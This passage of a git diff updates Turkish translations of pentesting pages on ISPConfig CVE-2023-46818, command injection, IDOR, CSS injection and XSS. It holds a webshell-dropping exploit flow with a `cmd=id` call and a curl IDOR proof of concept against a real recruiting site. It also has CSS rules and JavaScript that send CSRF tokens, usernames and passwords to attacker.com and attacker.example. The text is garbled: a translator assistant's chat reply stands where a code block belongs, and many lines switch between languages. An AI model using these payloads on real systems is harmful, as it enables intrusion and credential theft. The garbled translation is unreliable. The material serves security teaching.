genellikle `php -S` ile servis edildiğinde veya Apache/nginx aracılığıyla `/var/www/ispconfig` konumunda olur. -- Admin UI, HTTP(S) vhost üzerinde erişilebilir (bazen yalnızca localhost'a bağlı olabilir; gerekiyorsa SSH port-forward kullanın). +- Web root genellikle `/var/www/ispconfig` konumundadır; `php -S` ile veya Apache/nginx üzerinden servis edildiğinde. +- Admin UI, HTTP(S) vhost üzerinde erişilebilir (bazen yalnızca localhost'a bağlıdır; gerekirse SSH port-forward kullanın). -İpucu: Panel yerel olarak bağlıysa (ör. `127.0.0.1:8080`), erişim için port-forward yapın: +İpucu: Eğer panel yerel olarak bağlıysa (ör. `127.0.0.1:8080`), yönlendirin: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` ## Language editor PHP code injection (CVE-2023-46818) -- Etkilenen: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- Etkilenen: ISPConfig 3.2.11'e kadar (3.2.11p1'de düzeltildi) - Önkoşullar: -- Yerleşik superadmin hesabı `admin` ile giriş yapın (satıcıya göre diğer roller etkilenmez) -- Dil düzenleyicinin etkinleştirilmiş olması gerekir: `/usr/local/ispconfig/security/security_settings.ini` dosyasında `admin_allow_langedit=yes` -- Etkisi: Kimlik doğrulanmış admin, bir dil dosyasına yazılan ve uygulama tarafından çalıştırılan keyfi PHP enjekte edebilir; bu, web bağlamında RCE elde edilmesine yol açar +- Yerleşik superadmin hesabı `admin` olarak giriş yapın (sağlayıcıya göre diğer roller etkilenmez) +- Language editor etkin olmalıdır: `/usr/local/ispconfig/security/security_settings.ini` içinde `admin_allow_langedit=yes` +- Etki: Kimlik doğrulanmış admin, bir dil dosyasına yazılan ve uygulama tarafından çalıştırılan rastgele PHP enjekte edebilir; böylece web bağlamında RCE elde edilir -Referanslar: NVD girişi CVE-2023-46818 ve aşağıdaki References bölümündeki satıcı bildirimi bağlantısı. +Referanslar: NVD girişi CVE-2023-46818 ve sağlayıcı uyarı bağlantısı aşağıdaki Referanslar bölümünde. ### Manuel istismar akışı -1) CSRF token'larını elde etmek için bir dil dosyası açın/oluşturun +1) CSRF alanlarını elde etmek için bir dil dosyası açın/oluşturun -Formu başlatmak için ilk POST'u gönderin ve HTML yanıtından CSRF alanlarını (`csrf_id`, `csrf_key`) ayrıştırın. Örnek istek yolu: `/admin/language_edit.php`. +Formu başlatmak için ilk POST'u gönderin ve HTML yanıttan CSRF alanlarını (`csrf_id`, `csrf_key`) ayrıştırın. Örnek istek yolu: `/admin/language_edit.php`. -2) records[] aracılığıyla PHP enjekte edin ve kaydedin +2) Inject PHP via records[] and save -CSRF alanlarını ve kötü niyetli bir çeviri kaydını içeren ikinci POST'u gönderin. Minimal komut yürütme denemeleri: +CSRF alanlarını ve kötü amaçlı bir çeviri kaydını içeren ikinci POST'u gönderin. Minimal komut yürütme denemeleri: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -42,43 +42,43 @@ Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` -Bant-dışı test (ICMP'yi gözlemle): +Out-of-band test (ICMP'yi gözlemleyin): ```http records[]= ``` -3) Dosya yazma ve webshell bırakma +3) Dosyalar oluşturun ve bir webshell bırakın -Web'e erişilebilir bir dizin (örn., `admin/`) altında bir dosya oluşturmak için `file_put_contents` kullanın: +Web üzerinden erişilebilen bir yolun (örn. `admin/`) altına dosya oluşturmak için `file_put_contents` kullanın: ```http records[]= ``` -Ardından POST body içindeki kötü karakterlerden kaçınmak için base64 kullanan basit bir webshell yazın: +Sonra POST gövdesindeki kötü karakterlerden kaçınmak için base64 kullanarak basit bir webshell yazın: ```http records[]= ``` -Çevirmemi istediğiniz src/network-services-pentesting/pentesting-web/ispconfig.md dosyasının içeriğini gönderin. İçerik olmadan çeviri yapamam. +Çevirmemi istediğiniz dosya içeriğini buraya yapıştırın. Kod blokları, bağlantılar, path'ler ve belirtilen tag'ları (ör. {#tabs}, {#ref}, linkler) olduğu gibi bırakacağım; geri kalan İngilizce metni Türkçeye çevireceğim. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -Eğer PHP root olarak çalıştırılırsa (ör. `php -S 127.0.0.1:8080` root tarafından başlatıldıysa), bu anında root RCE sağlar. Aksi takdirde, web sunucusu kullanıcısı olarak kod yürütme elde edersiniz. +Eğer PHP root olarak çalıştırılıyorsa (ör. root tarafından başlatılan `php -S 127.0.0.1:8080` ile), bu doğrudan root RCE sağlar. Aksi takdirde, web sunucusu kullanıcısı olarak kod çalıştırma elde edersiniz. ### Python PoC -Kullanıma hazır bir exploit, token yönetimini ve payload teslimatını otomatikleştirir: +Kullanıma hazır bir exploit token yönetimini ve payload teslimatını otomatikleştirir: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) -Örnek çalıştırma: +Örnek çalışma: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` ### Sertleştirme -- 3.2.11p1 veya daha yeni sürüme yükseltin -- Kesinlikle gerekmedikçe dil düzenleyicisini devre dışı bırakın: +- 3.2.11p1 veya daha sonraki bir sürüme yükseltin +- Dil düzenleyicisini yalnızca kesinlikle gerekli olmadıkça devre dışı bırakın: ``` admin_allow_langedit=no ``` -- Paneli root olarak çalıştırmaktan kaçının; ayrıcalıkları düşürmek için PHP-FPM veya web sunucusunu yapılandırın +- Paneli root olarak çalıştırmaktan kaçının; PHP-FPM veya web sunucusunu ayrıcalıkları düşürecek şekilde yapılandırın - Yerleşik `admin` hesabı için güçlü kimlik doğrulamayı zorunlu kılın ## Referanslar diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 135839e42..2a7a570ba 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## command Injection nedir? +## What is command Injection? -Bir **command injection**, bir uygulamayı barındıran sunucuda bir saldırganın rastgele işletim sistemi komutlarını çalıştırmasına izin verir. Bunun sonucunda uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması genellikle saldırganın uygulamanın ortamı ve altında yatan sistem üzerinde yetkisiz erişim veya kontrol elde etmesine olanak sağlar. +A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system. ### Bağlam -Girişinizin **nereye enjekte edildiğine** bağlı olarak, komutları çalıştırmadan önce **alıntılanmış bağlamı sonlandırmanız** (using `"` or `'`) gerekebilir. +Girdiğiniz verinin **nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntılanmış bağlamı sonlandırmanız** (`"` veya `'`) gerekebilir. ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limition** Bypass'ları +### **Sınırlama** Bypasses -Bir linux makinesinde **keyfi komutlar çalıştırmayı** deniyorsanız, bu **Bypass'lar** hakkında okumak ilginizi çekecektir: +Eğer bir **linux makinesi içinde rastgele komutlar çalıştırmaya** çalışıyorsanız, bu **Bypasses:** hakkında okumak ilginizi çekecektir: {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametreler -Aşağıda code injection ve benzeri RCE açıklarına açık olabilecek en yaygın 25 parametre yer alıyor (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)): +İşte code injection ve benzeri RCE zafiyetlerine açık olabilecek en iyi 25 parametre (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -89,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### DNS tabanlı data exfiltration -Bu çalışma `https://github.com/HoLyVieR/dnsbin` üzerindeki araca dayanıyor; ayrıca dnsbin.zhack.ca adresinde barındırılıyor. +Aracın kaynağı `https://github.com/HoLyVieR/dnsbin` üzerine kurulmuştur; ayrıca dnsbin.zhack.ca adresinde barındırılmaktadır. ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -106,7 +106,7 @@ DNS tabanlı data exfiltration'ı kontrol etmek için çevrimiçi araçlar: - dnsbin.zhack.ca - pingb.in -### Filtering bypass +### Filtreleme atlatma #### Windows ``` @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -JavaScript/TypeScript arka uçlarını denetlerken sık sık Node.js `child_process` API'si ile karşılaşırsınız. +JavaScript/TypeScript arka uçlarını denetlerken sıklıkla Node.js `child_process` API'si ile karşılaşırsınız. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` bir **shell** (`/bin/sh -c`) başlatır, bu nedenle shell için özel bir anlam taşıyan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır. +`exec()` bir **shell** (`/bin/sh -c`) başlatır; bu nedenle shell'e özel anlamı olan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır. -**Önlem:** `execFile()` (veya `spawn()` `shell` seçeneği olmadan) kullanın ve **her argümanı ayrı bir dizi öğesi** olarak sağlayın, böylece shell devre dışı kalır: +**Önlem:** `execFile()` kullanın (veya `spawn()`'ı `shell` seçeneği olmadan) ve **her argümanı ayrı bir dizi elemanı olarak** sağlayın, böylece herhangi bir shell kullanılmaz: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,7 +140,7 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Gerçek vaka: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması olmayan bir WebSocket olayı aracılığıyla istismar edilebiliyordu; bu olay saldırgan kontrollü veriyi `id_user` içine yerleştiriyor ve daha sonra `exec()` çağrısına gömülüyordu, bu da RCE elde edilmesine yol açtı (Pwn2Own Ireland 2024). +Gerçek dünya vakası: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması gerektirmeyen bir WebSocket olayı aracılığıyla saldırgan kontrollü veriyi `id_user` içine yerleştiriyordu; bu daha sonra bir `exec()` çağrısına gömülerek RCE'ye yol açtı (Pwn2Own Ireland 2024). ## Brute-Force Tespit Listesi @@ -149,7 +149,7 @@ Gerçek vaka: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması olmayan bir https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## Kaynaklar +## Referanslar - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 89901c987..70761f7f4 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA), bir web veya API uç noktasının, bir kullanıcının kontrol edebildiği bir tanımlayıcıyı **doğrudan** iç nesneye erişmek için ifşa ettiği veya kabul ettiği ve çağıranın o nesneye erişmeye/ürünü değiştirmeye yetkili olup olmadığını **doğrulamadan** kullanıldığı durumlarda ortaya çıkar. -Başarılı sömürü genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi horizontal or vertical privilege-escalation’a izin verir ve en kötü durumda tam hesap devralma veya toplu veri dışarı sızdırma ile sonuçlanabilir. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA), bir web veya API endpoint'inin, kullanıcı tarafından kontrol edilebilen ve bir iç nesneye **doğrudan** erişmek için kullanılan bir tanımlayıcıyı ifşa ettiği veya kabul ettiği ve çağıranın bu nesneye erişmeye/değiştirmeye yetkili olup olmadığını **doğrulamadığı** durumlarda ortaya çıkar. +Başarılı istismar genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi yatay veya dikey yetki yükseltmeye izin verir ve en kötü durumda tam hesap ele geçirme veya toplu veri sızdırma ile sonuçlanabilir. --- ## 1. Potansiyel IDOR'ları Belirleme -1. Bir nesneyi referans gösteren **parametrelere** bakın: +1. **Bir nesneyi referans eden parametrelere** bakın: * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Query: `?id=42`, `?invoice=2024-00001` * Body / JSON: `{"user_id": 321, "order_id": 987}` * Headers / Cookies: `X-Client-ID: 4711` -2. Veri **okuyan veya güncelleyen** (`GET`, `PUT`, `PATCH`, `DELETE`) uç noktalarını tercih edin. -3. Tanımlayıcıların **ardışık veya tahmin edilebilir** olup olmadığına dikkat edin – ID'niz `64185742` ise muhtemelen `64185741` vardır. -4. Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları (ör. giriş sayfalarındaki *"Paradox team members"* bağlantısı) keşfedin. -5. Bir **kimlik doğrulanmış düşük ayrıcalıklı oturum** kullanın ve sadece ID'yi değiştirip **aynı token/cookie**'yi tutun. Yetkilendirme hatasının olmaması genellikle IDOR belirtisidir. +2. Veriyi **okuyan veya güncelleyen** endpoint'leri tercih edin (`GET`, `PUT`, `PATCH`, `DELETE`). +3. Tanımlayıcıların **sıralı veya öngörülebilir** olup olmadığına dikkat edin – eğer ID'niz `64185742` ise muhtemelen `64185741` de vardır. +4. Ek API'leri ortaya çıkarabilecek gizli veya alternatif akışları (ör. giriş sayfalarındaki *"Paradox team members"* linki) keşfedin. +5. **Düşük yetkili bir authenticated oturum** kullanın ve sadece ID'yi değiştirin, **aynı token/cookie'yi koruyun**. Yetkilendirme hatasının olmaması genellikle IDOR işaretidir. -### Hızlı manuel müdahale (Burp Repeater) +### Hızlı manuel manipülasyon (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -36,69 +36,67 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id"; done ``` ---- - ### Error-response oracle for user/file enumeration -Bir download endpoint hem username hem de filename kabul ettiğinde (örn. `/view.php?username=&file=`), hata mesajlarındaki ince farklılıklar sıklıkla bir oracle oluşturur: +Bir download endpoint hem username hem de filename kabul ettiğinde (ör. `/view.php?username=&file=`), hata mesajlarındaki ince farklılıklar sıklıkla bir oracle oluşturur: -- Var olmayan username → "Kullanıcı bulunamadı" -- Hatalı filename ama geçerli extension → "Dosya mevcut değil" (bazen mevcut dosyaları da listeler) -- Hatalı extension → doğrulama hatası +- Var olmayan username → "User not found" +- Bozuk filename ancak geçerli extension → "File does not exist" (bazen mevcut dosyaları da listeler) +- Geçersiz extension → validation error -Herhangi bir kimliği doğrulanmış oturumda, zararsız bir filename sabit tutarak username parametresini fuzz'layabilir ve geçerli kullanıcıları keşfetmek için "Kullanıcı bulunamadı" dizisini filtreleyebilirsiniz: +Herhangi bir authenticated session ile, zararsız bir filename sabit tutarak username parametresini fuzz edebilir ve "user not found" string'ine göre filtreleyerek geçerli kullanıcıları keşfedebilirsiniz: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve credential leakage'e yol açar. +Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve credential leakage ile sonuçlanır. --- -## 2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platform (2025) +## 2. Gerçek Dünya Vaka İncelemesi – McHire Chatbot Platform (2025) -Paradox.ai-powered **McHire** işe alım portalının bir değerlendirmesi sırasında aşağıdaki IDOR tespit edildi: +Paradox.ai destekli **McHire** işe alım portalının değerlendirmesi sırasında aşağıdaki IDOR keşfedildi: -* Endpoint: `PUT /api/lead/cem-xhr` -* Authorization: user session cookie for **any** restaurant test account -* Body parameter: `{"lead_id": N}` – 8 haneli, **sıralı** sayısal tanımlayıcı +* Uç nokta: `PUT /api/lead/cem-xhr` +* Yetkilendirme: herhangi bir restoran test hesabı için user session cookie +* Gövde parametresi: `{"lead_id": N}` – 8 haneli, **ardışık** sayısal tanımlayıcı -lead_id'yi azaltarak test eden, rastgele başvuruların **full PII**'sini (isim, e-posta, telefon, adres, vardiya tercihleri) ve session hijacking'e olanak veren bir tüketici **JWT**'sini elde etti. `1 – 64,185,742` aralığının taranması yaklaşık **64 milyon** kaydı açığa çıkardı. +lead_id değerini düşürerek test eden kişi, rastgele başvuranların **full PII** (name, e-mail, phone, address, shift preferences) ve oturum kaçırılmasına izin veren bir consumer **JWT** elde etti. `1 – 64,185,742` aralığının numaralandırılması yaklaşık **64 milyon** kaydı açığa çıkardı. -Proof-of-Concept isteği: +Proof-of-Concept request: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Combined with **varsayılan yönetici kimlik bilgileri** (`123456:123456`) test hesabına erişim verdiği için, bu zafiyet kritik ve şirket genelinde bir veri ihlaline yol açtı. +Test hesabına erişim sağlayan **varsayılan admin kimlik bilgileri** (`123456:123456`) ile birleştiğinde, zafiyet kritik, şirket geneli bir veri ihlaline yol açtı. --- -## 3. Impact of IDOR / BOLA -* Yatay yetki yükseltme – **diğer kullanıcıların** verilerini oku/güncelle/sil. -* Dikey yetki yükseltme – düşük ayrıcalıklı bir kullanıcı yöneticiye özel işlevlere erişim kazanır. -* Tanımlayıcılar ardışık ise toplu veri ihlali olabilir (e.g., applicant IDs, invoices). -* Token çalmak veya diğer kullanıcıların parolalarını sıfırlamak yoluyla hesap ele geçirme. +## 3. IDOR / BOLA Etkisi +* Yatay yükseltme – **diğer kullanıcıların** verilerini okuma/güncelleme/silme. +* Dikey yükseltme – düşük ayrıcalıklı bir kullanıcı sadece admin'e ait işlevlere erişim kazanır. +* Kimlikler ardışık ise kitlesel veri ihlali (örn., başvuru ID'leri, faturalar). +* Token çalarak veya diğer kullanıcıların şifrelerini sıfırlayarak hesap devralma. --- -## 4. Mitigations & Best Practices -1. Her istekte **nesne düzeyinde yetkilendirme** uygulayın (`user_id == session.user`). +## 4. Önlemler ve En İyi Uygulamalar +1. Her istekte **nesne-düzeyinde yetkilendirme** uygulayın (`user_id == session.user`). 2. Otomatik artan ID'ler yerine **dolaylı, tahmin edilemez tanımlayıcıları** (UUIDv4, ULID) tercih edin. 3. Yetkilendirmeyi **sunucu tarafında** gerçekleştirin; gizli form alanlarına veya UI kontrollerine asla güvenmeyin. -4. Merkezi bir middleware'de **RBAC / ABAC** kontrolleri uygulayın. -5. ID taramasını tespit etmek için **oran sınırlaması ve kayıt tutma** ekleyin. -6. Her yeni endpoint'i güvenlik testinden geçirin (unit, integration ve DAST). +4. RBAC / ABAC kontrollerini merkezi bir ara katmanda uygulayın. +5. ID'lerin taranmasını tespit etmek için **rate-limiting & logging** ekleyin. +6. Her yeni endpoint'i güvenlik testine tabi tutun (unit, integration ve DAST). --- -## 5. Tooling -* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. +## 5. Araçlar +* **BurpSuite uzantıları**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. -* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). +* **Github projeleri**: `bwapp-idor-scanner`, `Blindy` (toplu IDOR avlama). -## References +## Kaynaklar * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 139ee6a7b..3dc0315ad 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -4,9 +4,9 @@ ## CSS Injection -### Öznitelik Seçici +### Attribute Selector -CSS seçicileri, bir `input` öğesinin `name` ve `value` özniteliklerinin değerleriyle eşleşecek şekilde hazırlanır. Eğer `input` öğesinin `value` özniteliği belirli bir karakterle başlarsa, önceden tanımlanmış bir dış kaynak yüklenir: +CSS seçicileri, bir `input` öğesinin `name` ve `value` özniteliklerinin değerleriyle eşleşecek şekilde hazırlanır. Eğer `input` öğesinin `value` özniteliği belirli bir karakterle başlarsa, önceden tanımlanmış bir harici kaynak yüklenir: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,11 +19,11 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Ancak, bu yaklaşım gizli input öğeleri (`type="hidden"`) ile uğraşırken bir sınırlama ile karşılaşır çünkü gizli öğeler arka planları yüklemez. +Ancak, bu yaklaşım gizli input öğeleri (`type="hidden"`) ile uğraşırken bir sınırlamayla karşılaşır çünkü gizli öğeler arka planları yüklemez. -#### Gizli Öğeler için Bypass +#### Bypass for Gizli Öğeler -Bu sınırlamayı aşmak için `~` genel kardeş seçicisini kullanarak sonraki bir kardeş öğeyi hedefleyebilirsiniz. CSS kuralı daha sonra gizli input öğesini takip eden tüm kardeş öğelere uygulanır ve bu da arka plan resminin yüklenmesine neden olur: +Bu sınırlamayı aşmak için, `~` general sibling combinator kullanarak sonraki bir kardeş öğeyi hedefleyebilirsiniz. CSS kuralı daha sonra gizli input öğesini takip eden tüm kardeş öğelere uygulanır ve arka plan resminin yüklenmesine neden olur: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); @@ -31,19 +31,18 @@ background-image: url(https://attacker.com/exfil/csrF); ``` A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). -#### CSS Injection için Gereksinimler +#### CSS Injection için Önkoşullar -CSS Injection tekniğinin etkili olabilmesi için bazı koşulların sağlanması gerekir: +CSS Injection tekniğinin etkili olabilmesi için belirli koşulların karşılanması gerekir: -1. **Payload Length**: CSS injection vektörünün oluşturulmuş seçicileri barındıracak kadar uzun payloads desteklemesi gerekir. -2. **CSS Re-evaluation**: Sayfayı frame'leyebilme yeteneğine sahip olmalısınız; bu, yeni oluşturulan payloads ile CSS'in yeniden değerlendirilmesini tetiklemek için gereklidir. -3. **External Resources**: Teknik, harici olarak barındırılan resimleri kullanabilme yeteneğini varsayar. Bu, sitenin Content Security Policy (CSP) tarafından kısıtlanmış olabilir. +1. **Payload Length**: CSS injection vektörünün, oluşturulan selectors'ları barındıracak kadar uzun payload'ları desteklemesi gerekir. +2. **CSS Re-evaluation**: Sayfayı frame'leyebilme yeteneğiniz olmalıdır; bu, yeni oluşturulmuş payload'larla CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir. +3. **External Resources**: Teknik, harici olarak barındırılan görüntüleri kullanabilme yeteneğini varsayar. Bu, sitenin Content Security Policy (CSP) tarafından kısıtlanmış olabilir. ### Blind Attribute Selector -As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration) sayfasında açıklandığı gibi, **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içeriği tespit etmek mümkündür.\ -Bu, CSS Injection'ı yükleyen web sayfasının içinde ne olduğunu bilmediğiniz durumlarda çok kullanışlıdır.\ -Ayrıca, bu seçicileri aynı türden birden fazla bloktan bilgi çıkarmak için de kullanmak mümkündür, örneğin: +As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. Bu, CSS injection'ı yükleyen web sayfasının içinde ne olduğunu bilmediğiniz durumlarda çok faydalıdır.\ +Ayrıca :has ve :not gibi selectors kullanılarak aynı türdeki birden fazla bloktan bilgi çıkarılabilir, örneğin: ```html ``` -### Otomatik doldurma şifrelerinin ele geçirilmesi +### Otomatik doldurma şifrelerini yakalama ```javascript Username:
@@ -1421,11 +1421,13 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Parola alanına herhangi bir veri girildiğinde, kullanıcı adı ve parola saldırganın sunucusuna gönderilir; kullanıcı kaydedilmiş bir parola seçse bile ve hiçbir şey yazmasa bile kimlik bilgileri ex-filtrated olur. +When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. -### Hijack form handlers ile kimlik bilgilerini exfiltrate etme (const shadowing) +### Hijack form handlers to exfiltrate credentials (const shadowing) -Eğer kritik bir handler (ör. `function DoLogin(){...}`) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha önce çalışıyorsa (ör. inline JS-in-JS sink aracılığıyla), handler'ı önden almak ve kilitlemek için aynı isimde bir `const` önceden tanımlayın. Daha sonraki function deklarasyonları bir `const` ismini yeniden bağlayamaz; böylece hook'ınız kontrolü elinde tutar: +Parola alanına herhangi bir veri girildiğinde, username ve password saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir parolayı seçse bile hiçbir şey yazmasa dahi kimlik bilgileri sızdırılacaktır. + +Eğer kritik bir handler (e.g., `function DoLogin(){...}`) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha erken çalışıyorsa (e.g., via an inline JS-in-JS sink), aynı isimle bir `const` tanımlayarak handler'ı önceden ele geçirip kilitleyin. Daha sonraki function declarations bir `const` ismini yeniden bağlayamaz; böylece hook kontrolü elinde tutar: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1434,20 +1436,20 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom }; ``` Notlar -- Bu, yürütme sırasına dayanır: enjeksiyonunuz meşru bildirimin (declaration) öncesinde çalışmalıdır. -- Eğer payload'unuz `eval(...)` ile sarılıysa, `const/let` bağlamaları global olmaz. Gerçek bir global, yeniden bağlanamayan (non-rebindable) bağlama sağlamak için bölüm “Deliverable payloads with eval(atob()) and scope nuances”'taki dinamik ` @@ -1560,7 +1562,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Gizli İçeriğe Erişim -[**bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenilebileceği gibi, bazı değerler JS'den kaybolsa bile farklı nesnelerdeki JS özelliklerinde hâlâ bulunabilirler. Örneğin, bir REGEX girdisi, regex girdisinin değeri kaldırıldıktan sonra bile bulunabilir: +From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) üzerinden öğrenilebileceği gibi bazı değerler JS'ten kaybolsa bile, bunları farklı nesnelerdeki JS attributes içinde bulmak hâlâ mümkün. Örneğin, bir REGEX input'u, regex inputunun değeri kaldırıldıktan sonra bile bulunabilir: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1577,44 +1579,44 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Brute-Force Listesi +### Brute-Force List {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS ile diğer zafiyetleri kötüye kullanma +## XSS ile diğer zafiyetleri suistimal etme -### Markdown'da XSS +### XSS in Markdown -Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Bak: +Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Kontrol edin: {{#ref}} xss-in-markdown.md {{#endref}} -### XSS'ten SSRF'ye +### XSS to SSRF -**caching kullanan bir site** üzerinde XSS mi buldunuz? Edge Side Include Injection ile bunu **SSRF'ye yükseltmeyi** deneyin; payload şu: +Önbellekleme kullanan bir **sitede** XSS mi buldunuz? Edge Side Include Injection ile bunu **SSRF'e yükseltmeyi** deneyin; payload: ```python ``` -Use it to bypass cookie restrictions, XSS filters and much more!\ -More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). +Cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını bypass etmek için kullanın!\ +Daha fazla bilgi için: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### Dinamik oluşturulan PDF'de XSS +### Dinamik oluşturulan PDF'te XSS -Eğer bir web sayfası kullanıcı kontrollü girdi kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan botu **kandırarak** **keyfi JS kodu çalıştırmasını** sağlayabilirsiniz.\ -Dolayısıyla, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır**, ve bu davranışı **suistimal ederek** bir **Server XSS** tetikleyebilirsiniz. +Eğer bir web sayfası kullanıcı kontrollü girdilerle PDF oluşturuyorsa, 